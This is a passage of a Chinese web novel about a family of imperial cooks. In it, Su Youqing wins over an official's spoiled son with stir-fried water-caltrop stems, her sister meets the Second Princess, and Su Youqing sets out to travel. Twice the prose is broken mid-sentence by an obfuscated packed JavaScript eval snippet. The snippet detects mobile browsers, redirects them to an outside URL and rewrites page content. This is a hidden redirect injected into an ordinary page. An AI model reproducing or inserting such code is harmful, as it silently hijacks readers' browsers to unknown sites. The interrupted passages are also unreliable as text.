苏火阳语气里满是不乐意：“方才那人是光禄寺卿孙运浩。孙运浩人倒不坏，但总溺爱家中孩子。说是幼时缺了陪伴，长大后便全然惯着。我就不愿意和那孩子打照面，甚没礼貌。” “你们方才是听到了？十多岁的人哪有咽不下的粥，更不会是厨子的问题，要么是在闹脾气，要么便是真不饿。但人亲自跑这一趟，我又不好驳了面子。算了算了，晚些时候去看两眼吧。” 见苏火阳是这般态度，苏诣主动请缨道：“既然娘不愿意，那我去一趟？” 苏火阳眼前一亮。是了，还未到进御膳房的时候便能与光禄寺卿打交道，这对苏诣来说是好事。 她便说：“这样也好，毕竟孙大人平日里也总和御膳房打交道。那便辛苦你跑着一趟了。” “明明是该谢谢母亲给了次历练机会。”苏诣作揖道。 苏有青也接话：“那我陪姐姐一起。” 她这几日本就清闲，苏火阳乐意让她同苏诣去这一趟。 苏有青倒没想多的，只是有些好奇孙大人都寻了什么稀罕菜。 去旁人家中宜早不宜迟，苏诣即刻便支荔枝去套马。 上了车，苏有青凑到苏诣身边问道：“所以光禄寺卿平日里是做什么的？为何说是常与御膳房打交道？” 苏诣比划着手指讲与她听：“光禄寺卿主要就管两样事，宫中膳食与祭祀宴享。能进宫的食材，祭祀用的牲畜，这些都是。” 苏有青明白了，便是人吃的东西与魂吃的东西。 她又问：“那光禄寺卿的官很大吗？” 苏诣道：“从三品，自不是小官。” 苏有青问：“那娘是几品？” 苏诣怀疑娘已经回答过好几次这个问题了，其中至少有两次她也恰好在场： “御厨不分品阶。但全看陛下赏识的位置，更不好轻瞧了去。” 11. 菱角菜（二） 两人作伴出门，有人一同闲聊便觉不出时间的长短。不多久，马车在光禄寺卿府前停下。 苏诣在前面与门口的仆从说话，苏有青跟在后面下车。她抬眼看向门头与那一对抱鼓石，似乎与旁的高门大户也没多大差别。 仆从听闻是苏府派来的人，直接领着二位往里走，还说主子早已吩咐过，苏府若是来人则不必通报。 “主君，苏御厨派了人来。”仆从带着苏诣与苏有青去了膳房的院子。这几日里，孙运浩只在府中两处扎根，一是孙家小哥的卧房，还有一处便是这膳房。 孙运浩前脚方回府，未曾想苏火阳动作这么快。他满脸笑意地循声寻人，瞧清来人后却愣住了：“你们是......？” 苏诣作揖道：“我是苏御厨家长女苏诣，这是小妹苏有青。母亲一时忙得抽不开身，又怕孙大人这边等得着急，便遣我与小妹过来先看两眼。母亲已告知我们令郎的病症，不知令郎素日里爱吃些什么？” 孙运浩本不满苏火阳只让两个女儿过来敷衍他，听着苏诣说话周到，便也作罢。他叹了口气道：“他爱吃的都是现下吃不了的，应着做也没用。你们且看做什么合适吧。” “好，那我们先去厨下看看。”苏诣道。 苏有青没多作声，默默跟着苏诣进了厨下。 她微微垂头，余光瞟见有不少人靠在门边闲聊。孙大人当真求来了不少厨司。 见孙运浩又带了两人进来，有人悄声问身旁人：“那二位又是哪个酒楼的厨司？” 有知情人道：“可不是酒楼厨司，是苏火阳家的俩丫头，我前段时日见过。今年的新厨小试里，她俩成绩都不错呢。” 那人笑说道：“苏家的大小姐我听说过，城中厨司都知道她厉害。但不是说小的那个从不碰锅灶吗，不知这句‘不错’有几分客套？” 另一人答：“并非客套。大小姐是头筹不假，那二小姐也是第三。” 那人状似恍然大悟：“那便是苏火阳的不厚道了，这等比试也敢提前支会旁人。” 苏诣没听到这番对话，规规矩矩地同各位前辈行礼。 苏有青素来耳朵灵，却也装作没听到，轻轻点头便当是打过招呼了。 孙运浩同苏诣说道：“膳房里的东西都随便用。” 苏诣应下后，他便去同旁人讲话了。 苏有青仍在耳听八方。灶台边，有厨司无可奈何道：“依我看，那孩子压根就是挑刺。怎会有人不觉茱萸味辛，却觉青菜剌口？” 苏有青还想听听其余人的回话，却被苏诣拉去了旁处。 “来这边看看。”她拉着苏有青去了案台的菜堆前。 苏诣低声道：“我方才听见有厨司说这边有她们不认识的菜杆，莫非就是这个？说是只有混着绿色和紫色的茎，没有叶片，模样像是细菜根。” 苏诣话说一半，又被菜杆旁的藕肠吸走了视线：“你觉得炒个藕肠如何？” 在外还是需安分些，苏有青道：“应该不错。” 若是在自家府中，她就该说“吃肠补肠”了。 苏诣本就想正经料理这事，便认真与苏有青讨论道：“是炒软和点为好还是脆爽些？可以多烹些醋，酸味或能开胃，只是不知那孙家小哥是否爱吃酸味。” 论起做菜，苏有青不管小哥喜好，只看好吃与否：“要我说，这藕肠制成酸辣些的泡菜最佳，只是要泡久些才更有味。” 苏诣明白了，苏有青就是来凑热闹的：“肠胃本就不适，如何能吃生冷之物？” 苏有青反倒被说得生了思路。她拎起一旁小小的藕头，轻轻上抛，掂了掂分量。 只一小节嫩藕，掂着有些重量，应当是节水分充足的脆藕。 “这种嫩藕，只是简单炒熟反倒有些亏。”苏有青同苏诣说。 苏诣不解：“这瞧着也不是粉藕，不炒熟还能炖汤不成？” 苏有青道：“将这嫩藕切作薄片，再用碎糖拌了，渍上一个时辰是最好吃的。再过些时日到盛夏，吃这糖藕片还能清凉些呢。” 苏诣觉着新鲜：“还是头一回听闻这种吃法。” 苏有青应得迫不及待：“回去便做与你尝尝。” 苏有青本不欲做些什么，进了厨下后却又改了主意。冷食确实不妥当，她便将藕节放回了原处。 苏诣作势要换处地方，同苏有青说道：“你继续看吧，我先去瞧瞧旁的菜。” 见苏诣已走远几步，苏有青抓起一旁“好多厨司都不识得”的菜杆。 她翻过手掌，将那“菜杆”摊开后细看，又用另只手捻起了一根。 再凑近闻闻气味，苏有青心中已了然。她暗想道，这孙大人派去的人也着实是下了些功夫。 方是初夏的光景，虽说白日里已偶有小热，却也还没到芒种时候，更不是菱角收获的时候。做事的人能摘来的这些菱角菜，怕是见着浮叶就一股脑打捞，也不知剩余的菱角还能否长成。 苏有青以前便爱吃这菱角菜，可惜不易买到。需得种菱角的人家摘过了菱角，再将剩余还嫩的细长根茎捞出来。 捞出是一码事，还得那水田人家舍得卖才行。各家都不够吃的好菜，她与常打交道的摊贩混熟了，每年夏天也买不走多少。 菱角菜的时节与收成皆挑剔，想吃进嘴里也非易事。将这菜买回家后，需择下叶片与老根，只留下嫩些的部位，还需细瞧着洗掉黏附的淤泥与旁的水草，这才轮到料理的部分。 虽说过程略显繁杂，但苏有青还是爱吃。苦夏没甚胃口时，将这菱角菜切碎，放些蒜瓣与红椒炒得喷香，会是极好的下饭菜。 旁人不认识这种菜便也不伸手，刚好苏有青对着旁的菜也生不出想法，干脆拿上去找锅灶。 不论那挑嘴小哥吃不吃，至少显得她会翻勺。若是有用则更好，孙大人也不必再去烦苏火阳。 孙家膳房的下人做事得当，已提前择洗过这些菱角菜，省了苏有青不少事。 正等着锅中水沸，苏有青趁这功夫又舀来一盆凉水，就放在锅边。 锅中渐起了小气泡，未及水面便消失。待到气泡渐大生出水汽，苏有青往锅里加了点油与盐，将菱角菜倒进锅中。片刻后，她夹起去了涩味的菜，放入一旁的冷水里。 这边的菱角菜暂且休息，苏有青转头切了杆蒜苗、拍碎几粒蒜子备用着。 待菜冷却，她团起一把缠绕的杆茎，用力攒压，将水挤尽，才将那团变为褐色的菜茎搁到案板上。 再将菱角菜细细切碎，便能起锅烧油了。 苏有青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278936|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往锅中倒入菜籽油，等到生油气味散去，再趁油热爆香蒜末。 灶前满是被激起的香味，她将菱角菜碎与蒜杆一同倒进锅中，几下翻炒后再照着分量加些盐与酱之类的常见调味。 只需普通的炒制，再将剩余的蒜叶加进菜里炒至断生，这盘下饭菱角菜便能出锅了。 苏诣要做的炒藕肠也已装盘。她正想瞧瞧苏有青在做什么，便恰好被香气引着走过来了。 “这是何菜？我仿佛没见过，不过闻着倒香。”苏诣道。 苏有青却说：“就是你方才瞧见的那堆‘菜杆’。” 苏诣满是讶异：“你怎么晓得这菜是如何做的？” 苏有青笑说道：“我也不知道，算是连蒙带猜做成的吧。方才我闻那菜杆似乎有股香气，掐了把又觉得挺嫩，想来这样炒熟会更香。” 苏诣一脸赞同：“闻着可香呢，我那边还有人在找是什么味道。” 苏诣唤来仆从，让人将这两盘菜端去给孙家小哥尝尝。 然而片刻功夫，孙大人还是愁容满面地回了厨下。 “唉，还是不吃。”孙运浩直摇头。 一抬头，他瞧见苏家姐妹俩就在边上，赶忙找补到：“不过二位确实厨艺精湛！那小子方才只是不愿多吃，却也没让人撤走。” 苏有青觉得奇怪：“可以问问令郎不满于何味吗？他可以直接告知厨司喜好何味。” 犹豫过后，孙运浩道：“也罢。好在他今日精神好了不少，若像前些时日的病重，可没那心力见客。” 话毕，他又道：“请随我来。” 苏有青与苏诣跟在孙运浩身后，还没进门便远远听到了喊叫声，似是在斥责旁人。 然而真进了屋，苏有青只看到一个大物斯斯文文地靠在床边，并无言语。旁别的小厮也安静地低着头。 她腹诽道，这孙家的桌子竟会说话。 孙运浩对着爱子一阵嘘寒问暖，过后才介绍道：“这两位是我特意从苏家请来的厨司。她们想问你平日口味有何偏好，这才好做出些你乐意吃的菜。” 孙家小哥这时候说话倒有些含糊不清：“我又不挑剔，无非爱吃些好吃的与有味的。” 他又努努嘴，指向桌上那两盘：“这俩都没味，闻着还想吐。” 苏有青本意真有些好奇，现下是懒得问了。 矮了一截的菜，边说边吸气的鼻子，那小哥嘴里尽是些装蒜话。 她贴心地说道：“既如此，快把这两盘菜撤了吧，万一闻得更不适可如何是好？” 孙运浩被提醒到，手连连比划：“对对，赶紧的，还愣着干嘛呀！” “就这么放着！”小哥见仆从伸手，嚷了起来，精神头倒不似病者，“我这病是喜静不喜人多，你们都快走才是！” 苏诣与苏有青对视一眼后道：“那我们边先行离开了。” 苏有青本就在憋笑，不想一脚刚迈过门槛，便听到身后一句“哎呀宝贝，你终于愿意吃了。对对，就这样大口喝粥吃菜。” 出了屋，苏有青悄声说：“原来赶我们走是憋不住饿了吗？” 苏诣笑说道：“又或许是咱们手艺好呢。” 苏有青并不信旁的厨司便是技艺不足：“也或许骂一顿比寻厨司更管用呢。” 12. 没吃上 苏有青与苏诣尚在院中说着话，又见孙运浩和仆人急匆匆地往外赶，说是要再端碗粥来。 趁他路过，苏诣面带微笑道：“既令郎之症已解，我们也不叨扰了。” 孙运浩没听清苏诣的话，只匆匆应下。 待再来院中时，孙运浩身后的仆从端着三碗白粥与八盘小菜，而他仍觉不够地四处寻着苏家姐妹的身影。 “她俩人呢？”孙运浩问留在院中的人，“这么点菜万一小哥不够吃可怎么办？” 院中仆从慌乱道：“方才她们同主子告过别了呀。” 苏有青早就受不了这家子人与这家的客。孙运浩前脚风风火火地奔向膳房，她后脚便拽着苏诣出大门又上马车。 “快走吧，我急着回家给姐姐做糖藕片呢。”她道。 孙运浩赶忙使唤仆从去追。仆从跑出府门，却恰巧有辆华贵马车路过。不知是哪路贵人出行，并驾的四匹马逼得周遭过路人不得不退让。 仆从生怕冲撞了贵人，赶忙低头避开视线。待到尘土落回地面，苏家马车早已不知去向。 光禄寺卿府前的街市一向往来人多，再好的马匹在这路上也得放缓脚步。 “方才那车怎么跑得这么快，惊到旁人可不好。”马车里，方实拨开窗帘，探头往后看去。 正中端坐着的大皇子却不接话：“岔开话题也没用。你好好想想吧。” 方实放下帘子，也放下了视线：“这次确实是方非的错，臣会好好训斥他的。” 她一开始想辩解，方非本性不坏，只是急于在大皇子面前图表现，这才不择手段了些。 但方实也明白，大皇子一向不认可背后阴人的招数。赵鸣昀过往感慨过很多次，今日能为投诚她而害旁人，明日便也能为旁人而阴她。 方实一口气憋在胸肺中，当着赵鸣昀的面却吐不出来。 她本知弟弟处事浮躁，只是家中只余这么一个至亲，便总想捎带着些。不料这次方非直接先斩后奏，还自认上奏的是喜报。 或许她早该有所察觉，早在方非头一次同她抱怨时便做出决断。 方非一向觉得大皇子太过柔和，必定是斗不过二皇子的。他并不理解姐姐为何要支持这般性子的人，让他不得不顺着站队。 而方实也明明白白地同他解释过，她本就是因着这股和煦才选定了大皇子。正是盛世，这种追求一团和气的皇子能让大家都好过。能做到珍爱手足的皇家子，想来握住权力后也能珍爱百姓。 那时候，方非应了一声，她便以为弟弟将这话听进去了。 车厢内一时只余车轮的“咯吱”声。 闭上双眼，方实将那股气咽下，才再次睁眼说话：“不知二皇子作何反应？前几日听闻她与三皇子对谈时沉了脸，莫非便是此事......” 赵鸣昀昨日才听赵鸣炫说过此事，哼了一声道：“那倒与你弟弟无关，只是被她弟弟吵烦了。不知老三抽了哪门子风，偏要磨着二妹多收个人。” 同车人是心腹，也没什么不能说的话。赵鸣昀喃喃道：“不过那人确实挺......符合母皇的心思。” 是夜，赵往也还在纠结此事。 夜已深，书案上的烛台也快燃尽。石头对着那星点黄色昏昏欲睡，不知主子还要看书看到哪个时辰。 全然不知他那主子的心思根本不在书册上。 赵往一手提笔，却又突然忘了本想写些什么。有一滴墨落到纸上晕开，他干脆将笔搁回笔架，转过头来与石头聊天： “你说二皇姐为何不答应呢？” 石头虽在瞌睡，倒也留了一丝清明替他当值：“嗯嗯，就是就是。” 半睡半醒间，他隐约觉得这话有些耳熟，似是近来听了很多遍。 赵往得到回应，继续讲道理：“那人确是有些实力。听说没，今日京城里都传遍了。孙老儿家的那个挑刺孩子，寻了多少名厨都无用，最后不还是被苏家姑娘收服了。” 石头继续回应：“是呢是呢。苏姑娘自是厉害，不然能是头筹呢。” 赵往眉头紧锁，发现石头和自己说的并非一回事，又道：“说什么呢，若是头筹，我又何须去求皇姐？” 石头：“嗯嗯......嗯？” 他睡醒了。 但他不知道自己落下了什么，怎么只打个瞌睡的功夫，主子便说上苏二姑娘的好话了。 然而二皇子并非不乐意结识苏有青，只是不想惹眼，便也不好一下子接触两个苏家人。 苏二姑娘倒是完完全全的不乐意。 苏有青这几日里过得相当舒畅。 还有两日便是苏诣的生辰，便也马上是苏有青能出城的时候了。 这些天，她时常去街市上转转，看有没有什么需买来备着的东西，再提前捡些将带上的细软，好不高兴。 不知是不是人的心情好了的缘故，近来的时日里她做何事都顺得很。前些天，苏有青还去挑了匹马。 她本特意提早几天去看，以防学习骑马需多费些功夫。然而苏有青选的那匹马性子温顺又亲人，仿佛还能听懂话。 毫不颠人的马儿，倒显得是她本就擅长骑马。 苏有青顺着它的鬃毛，侧身凑近道：“那你便来陪我一起吧。” 除去这些出远门要做的准备，在家中时，苏有青也常跑去后厨看菜。 为着苏诣的生辰宴，厨下提前列出了不短的单子，这几日正是试菜的时候。然而苏诣赶上了初进宫的日子，整日里跟着御膳房的前辈学习，忙得找不出亲自品菜的时间。 于是这活便落到了苏有青头上。 她在家中替苏诣试菜，不想苏诣也在宫中帮她回绝了一桩事。 跟着前辈学了三五日御膳房的规矩，苏诣与颜惜禾便要像寻常宫人那般独自做事了。 不过膳房掌事似乎也不指望这二人久留。这些天里，膳房若有什么要去御前送茶水的事，掌事会特意分派给她俩。 生辰这日，苏诣送过今日的燕窝便要回御膳房。 她已熟悉这隔日便要走一趟的宫街，今日却走得心急。 “苏诣姑娘？” 苏诣顺着声音方向回头，瞧见方才路过的宫门中走出一人。 她赶忙躬身行礼，恭敬道：“见过二皇子。” “免礼。”二皇子款步走来，问道，“不知宫中做事可还适应？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278937|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏诣起了身，却仍低着头：“适应。” 二皇子微侧过头，看眼苏诣过来的方向便心中有了数：“方从御书房出来？母皇今日问了什么？” 苏诣答：“陛下勤政，好问民间的事。” 瞧出苏诣仍余紧张，二皇子道：“习惯便好。母皇一向觉得不同处境中的人会看出不同的问题，便爱顺嘴过问旁人的想法。尤其是你们这种尚年轻，也方进宫的。” 许是之前便说过话，面对二皇子，苏诣渐缓了心神。 她道：“可臣女只是厨司，并无太多见解。” 二皇子心说不见得，张嘴却顺过了话：“那便能说出厨司看到的民间。” 苏诣有些好奇：“为何是厨司？旁的宫女太监呢？” 二皇子很有耐心：“自也有她们的看法，只是问得不多。毕竟过得好些的人家并不舍得只让孩子做侍候人的活计，不比御膳房的新人。能从新厨小试中脱颖而出的，都是从小便能练手、家中也不怕孩童糟蹋了菜的厨司。这样出来的人，自然见过的也多。” 苏诣没懂，抬头便问：“既如此，那差些的人家岂不是能见到更多......” 见到二皇子的表情，苏诣咽下了尾音。 二皇子并未打断她，只是下意识扬了扬眉，又轻笑了一声。 赵鸣炫早就听闻过苏诣此人。 京城中一向传闻，御厨苏家的手艺世代相传。这一代里，苏火阳的长女苏诣不仅得了一手好厨艺，品行也极佳。 新厨小试那日，母皇本是同大宫女说“去库里随便挑个小东西送去吧”，她却称闲来无事，替宫女跑了一趟。她本想去早些，不想临出宫时又被赵往喊住，耽搁了时间。幸好没错过苏诣介绍时的落落大方。 再加上今日临街的对谈，赵鸣炫已确信，自己并未看错人。 苏诣却会错了意。自认说错了话，苏诣匆忙间胡乱攀扯道：“朝臣们比臣女想得更周全。” 二皇子以为苏诣是在追问，回答道：“朝臣当然需多问，只是母皇信不信、又信了几分便无人知晓了。母皇总觉得朝臣的话中会掺杂不少谗言。” 苏诣不敢再妄议，道：“陛下圣明。” 二皇子不乐意听官腔：“只是与你闲聊罢了，不必如此生硬。我觉得你很聪慧。” 苏诣道：“谢二皇子抬爱。是家母教诲得好，一贯激励臣女多读书。” 想显得亲切些，二皇子揣度着尺寸问道：“不知苏姑娘表字？” 苏诣答：“臣女字有道。” 赵鸣昀点点头：“不错。” 她更满意了。 姬朝寻常人家中，小姐小哥们的表字都是自己所起，或有鸿鹄之志，或为平淡安乐，又或是旁的所求之物。“有道”，一听便是前者。 今日高兴，二皇子便有了闲心。 她状似方想起这事：“说来近来有人向我举荐你的妹妹。不知她是否与你旗鼓相当？” 苏诣一时不知该如何作答，也没能分出心思抿出二皇子后半句的深意。 她能瞧出，苏有青这几日里光是收拾细软都很高兴。或许有青的性子本不适合宫中处事，但她也不好直接越俎代庖。 13. 长寿面 一番思忖过后，苏诣揣度着回答道：“我与小妹一母同胞，自是不相上下。只是小妹近来似乎做了什么打算，整日忙得见不到人影，不知还能否有机会得到二皇子殿下的青眼。” 赵鸣炫决计好人做到底，追问道：“哦？那不知苏二姑娘有何打算？” 苏诣道：“小妹自认学艺不够精湛，又好奇京城外的吃食，便合计出城学习游走一番。” 赵鸣炫点点头，干脆利落地说：“有过计划便罢了，本就是不能强求的事，或许以后还有缘分。本皇子还有事，先走了。” 话毕，赵鸣炫几大步便迈去了前头。 “恭送殿下。”苏诣低头候二皇子离开，再抬头时又见她侧身吩咐身旁随从，似是事态紧急的模样。 赵鸣炫快步走远确是有急事。 她微微转头，瞟到落后几步的姑娘尚低着头，低了声同随从说道： “去，给赵往传个口信，就说‘你省省吧’。” 赵鸣炫并不在意她与苏有青是否有这番能凑到一起的缘分，只背手感慨道：“只可惜，有的人白求我咯。” 身旁人是一脸难言的表情。她听主子的语气全然是幸灾乐祸，作为随从却无法乐得轻易：“真直接这么说吗？” 身后人不知前面二位在谋虑何等大事，只管做好眼前事。 苏诣今日不用当值，回膳房交过差便能回家了。 方进府门，苏有青便不知从哪儿窜出，凑到苏诣跟前道：“生辰快乐，姐姐。” 苏诣笑说道：“怎的还特意在门口候着。谢谢妹妹了。” 苏有青也笑：“这样显得我真诚嘛。” “对了。”苏诣也急于同苏有青说方才的事，“今日二皇子与我提及，有人向她举荐了你。我本想说些囫囵话，再回来问过你的想法，没想到二皇子当成了回绝，便要作罢。你若是愿意，我再去跟二皇子回个话？” “不用不用，姐姐你知道的，我早就准备离京了。”苏有青下意识便是拒绝。 然而再一想，她又觉出些奇怪。二皇子不似是这种性格。 作为未来登基的新帝，二皇子原是相当坚定的人。凡她做过决定的事，任旁人如何说都不能轻易地打动她。 赵鸣炫当皇子与朝臣争辩时便是如此。后来皇帝病危，太医院冒着掉脑袋的风险，直言了这等重症难以救回，至多吊着一口气多捱些时日。 赵鸣炫却不死心，来回翻阅众多医术试图找到解决之策，政务都搁到了一旁，还衣不解带地亲自照料皇帝，任太医与大皇子如何劝慰都不动摇。 这样的人，如若真心想任用一个普通民女，似乎并不会一口作罢。 然而苏诣这时候与二皇子还并不相熟。怕苏诣将此事装进心中，苏有青解释道：“几句话便要回绝，或许本就是试探而非真意吧，何况正好如了我的意。不说这些了，快来看看今日都有什么好菜。” 苏有青拉着苏诣往里走，嘴上还预告道：“我方才瞧见娘在后厨抻面呢，说是要做一整碗里只一根的长寿面。” 进了饭厅，苏诣果然瞧见了一大桌菜。 “小姐回来啦。”荔枝正摆着碗碟，抬眼便见到了归家的主子。 膳房踩着苏诣进门的点出的菜。这会子，苏诣来了堂屋，荔枝顺势介绍道：“主子快看看今日的菜。” “这个蹄膀烧鳆鱼，寓意吉祥圆满；桂花炒年糕代表步步高升，开水白菜祝小姐发财，这个‘耳聪目明’愿小姐身体健康。还有这盘炒粉丝叫，叫......” 荔枝并不精于料理，一时卡了壳：“总之是喜庆的意思！” 苏诣和苏有青被荔枝逗得直笑。 “聊什么呢，这么热闹。”苏火阳也从厨下过来了，“都到了便快些坐下，趁热吃吧。” 苏家平日里的便饭都极香，今日精心准备过的菜色便更漂亮了。说说笑笑间，菜已吃过一轮，后厨又端来一碗面条，放到了苏诣手侧。 乍看朴素的一碗汤面，理得齐整的面条上卧着鸡蛋与青菜，边上摆了几块肋排。 “好香啊。”苏诣道。 面团被拉得又细又韧，煮软后也不容易断。苏诣挑起一筷黄白色的面条，似是煮到半熟后又焖过片刻，每个气孔里都吸满了汤汁。 凑近一闻，苏诣道：“我好像闻到了麦香味。” 苏火阳夸道：“鼻子太灵了。前几日刚好有人送了新收的冬小麦，我便唤膳房赶着磨出面。新麦做的面是会更香些。” 苏有青与苏诣隔桌对坐，倒闻不出麦子味，原是鼻腔中充斥着骨汤的鲜香气。 又喝过口汤，苏诣道：“娘炖汤的手艺还是那么好。” 苏火阳笑道：“知道你爱喝，便特意另起水煮的面，生怕面水浊了这骨汤呢。” 再都吃过面，一顿饭便也结束了。 虽说是生辰日，但苏家一向没有大过的习惯，故也没什么旁的玩乐事。今日除去菜色更为精致些，似乎也没别的特殊之处了。 “不过趁着生辰，一家人聚到一起吃一桌饭也是极好的。”苏火阳感慨道。 苏诣好笑：“咱们家人本就不多，而且明明每日都是一起吃饭的好日子。” 苏火阳道：“这倒也是。” 话说到这里，苏火阳便也不想扰了氛围。 她特意等到第二日才问起苏有青的打算。 走进苏有青的屋子时，她正坐在堂屋的桌边，面前是散开的包袱。苏火阳扫过一眼，只是些寻常衣物与纸笔。 “收拾着呢。”苏火阳绕过桌子走到苏有青身边，手搭在她的肩膀上，“准备什么时候出发？” “明日吧。”苏有青道。若不是苏火阳这时候来了，她也准备今日晚些时候去同母亲与姐姐说的。 苏火阳点头，又问：“可想好了往哪边走？” 苏有青这几日还真对着地图想出了路线：“我准备往津弓镇去。” 津弓镇，出了京城往南边走便是。车马约莫十日内能跑到的地界，并不算很远。 苏有青对这地方有些印象，说是盛产檀木之类的百年木材，连年进贡时皇上都喜欢得不得了，大把的赏赐又被送回了津弓。 往后还会有一年，津弓镇官员来访时会带上那里特产的一种果子。山高路远地进了京，那果子却依然新鲜，甜味 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如今听到包菜的反应，苏有青问道：“你乐意同我一起吗？虽说是游玩，但应当不比京城中畅快。” “当然了。”包菜斩钉截铁地说。 见主仆二人已达成一致，苏火阳便无需多言，但还是忍不住嗔怪道：“你也知不比京中畅快？也不知为何要走那么远。” 苏有青没说话，讨好地笑了两声，苏火阳便没招了。 苏火阳愿意放有青去闯荡的心意是真，可如今即将远走，她心中的不舍也是真。 起初应下女儿请求的几日里，苏火阳也曾想象过，会不会有青只是嘴上说说，又或是言辞夸张、实则不过是想去京郊吹吹风。 但她也明白，那本不是苏有青的性子。 不论心中作如何想，苏火阳还是强调道：“包菜当然要一起。若不是你二人结伴，包菜又有些拳脚，我可不回轻易松嘴让你走。” 她一脸回忆的模样：“好在现在的日子都好过，不似我幼年听祖母讲的遍地流氓劫匪的时候了。要是搁以前，别说只你二人出行，便是再来三个护卫跟着，也是不能轻易让你出城的。” 苏有青嘴甜道：“我运气好，趁上东风了。” 苏火阳平日里话并不多，今日却是止不住地絮叨。她不理会苏有青的奉承，自顾自地继续说道：“这几年我也跑过几趟城外，屋子铺面都修得挺好，你记得找好点的客栈住，更安全。吃喝也不能太糊弄，出门在外可不能图省钱而乱吃东西。” 苏有青一一应下。这种时机，她觉得自己该说些什么，真开了口却又不知从何说起，只好连声嗯哼。 不过苏火阳也没给她留下话口。念叨完这一串后，苏火阳又问道：“明日几时出门？我与你姐姐早早便要去宫中，若你走晚些，我与她还能一齐送送你。” 苏有青想了想，道：“还是早些吧，白日里行路更方便。送不送的倒无碍，我只出门转一圈，会尽早回来的。” 想到明晚的饭桌上将只余自己与苏诣两人，苏火阳垂了眼，抬手摸了摸苏有青的头发。 14. 啃干粮 次日一早，天边刚擦亮，苏有青便醒了。 她快快地洗漱，想着早起还能赶在母亲与姐姐出门前，同她们再道个别。 然而苏有青在门口候半天也没见到将出门的二人。直到家仆问她为何在此站着，她才得知苏火阳与苏诣两刻钟前便已上了马车。没想到她们平日里需起这么早。 再回院子，苏有青也已睡不着回笼觉，干脆就着晨光出门了。 - 南门街上，路两旁已渐有出来摆放物什的商贩。除去大清早从菜地赶往街市的菜农，这会子街边多是早点摊。京城便如此日复一日地始于菜叶上的露珠与蒸笼旁的水汽。 牵着马边走边看，苏有青与包菜一人来了几个肉馒头，顺便多买几个备着。 早市来得少，苏有青有些陌生，便趁着摊主夹馒头的功夫四处张望。 “早上的小摊比买东西的人都多，搞得我总觉得有哪个摊主为了招揽生意在盯着我们。”她低声同包菜说道。 包菜也跟着到处看：“有吗？是早上巡城的侍卫吧，那边刚过去。” 苏有青开口前便收回了目光，只朝摊贩手中的动作望着。接过肉馒头又道了谢，她将其中一份递给了包菜：“应该是。快趁热吃，闻着可香呢。” 城墙把京城裹得方方正正，城中的路也是直来直往地交错。 沿着南门街一路直走，便到了南城门。再给当值的护兵看过过所，苏有青与包菜二人顺当出了城。 自来到姬朝，这还是苏有青头一次出城。 一开始，她尚有着新鲜劲，三步一回头地到处看。然而走过三四里路，她便没什么兴致了。 这点距离里虽说也有旁的往来路人，景色却别无二致，除了草便是树，连大片的花田都没有。苏有青想起从前走过的乡下小道，原是差不多的东西，还是与包菜闲聊更有趣些。 有深色小果恰好掉到马脖后的鬃毛上，苏有青捏起果子道：“是香樟树啊。” 包菜抬头看向树冠，道：“是呢，难怪能问道股味儿。方才在榆钱树下面走时还没呢。” “榆钱树？”苏有青有些新奇，“我仿佛没看到。” 她以前还试过榆钱的几种吃法，不过只是从小圆片开始处理，并没有见过它们的来时树。 “榆钱和鸡蛋一起......”话说一半，苏有青似乎卡了壳，顿怔了片刻才继续说道，“和鸡蛋一起炒还挺香的，裹了面粉再蒸也不错。” 她又咂咂嘴：“说得我都有点想吃了。” 包菜没吃过这种做法：“京中似乎是制成窝窝更多，或者直接生嚼。不过小姐既有这新鲜吃法，怎么初春时不与家中厨司说？” “只是现下突发奇想，也不是真的馋了。”想起榆钱的时令尚在春日宴之前，苏有青找补道。 虽路上的草木尘土还是一成不变，但两人说说笑笑地行路也并不枯燥。只是包菜有些奇怪，小姐今日不知为何，接二连三地在说话当中顿住。 难道是犯瞌睡，所以脑子失了平日里的灵光吗？包菜疑惑地想到。 然而下一刻，她又有了旁的猜测：“怎觉得小姐今日不太精神？莫不是早上的肉馒头坏事了吧？我们现在打道回府还来得及呢。” 苏诣好笑道：“哪那么容易便吃坏了，再不济不还备着药呢。” 随即，她又解释：“无碍，我只是在想些事情。好不容易出来吹吹旁的地方的风，且还不到半日，我才不要回京。” 话是这么说，苏有青却暗暗扯了缰绳，好叫马走慢些。 包菜便作罢，寻思许是主子有些乏了。 京郊的行道树不算密集，树荫与光亮接连落到地上。 日头渐到正中，人又一直在走动，苏有青道：“这太阳晒得我出了一层薄汗，不过偶有风吹过来还挺舒服。城里似乎会比城外还热些？” 包菜道：“是，城里人多嘛。现在还好些，再过些时日到盛夏，太阳将毒多了，那时候才难耐。” 苏有青道：“你倒是提醒我了。到了后面的酷暑，白日里难捱，更不便整日在屋外行走，要早些找个避暑之地才好。” 闻言，包菜突然生了好奇：“说来主子为何不早些，赶着初春的时候出门，又或者干脆等到秋天，那时候也宜人些。” 苏有青头大。她哪里想过这么多，无非是落地便被挑衅，莫名结下个赌约；结束后又在家中多待了几日，便刚好到了这个时候。 然后她一本正经道：“夏季与秋季的景色菜色都有所不同，我既出门学习，早一个季度开始便能多学一个季度的事。至于春天......那时我还未参与什么新厨比试，即便自称是个厨司，谁会信服？” 这般漏洞话不能细想，苏有青赶忙打岔，继续道：“对了，想起来表哥还没去睡猪槽呢。” 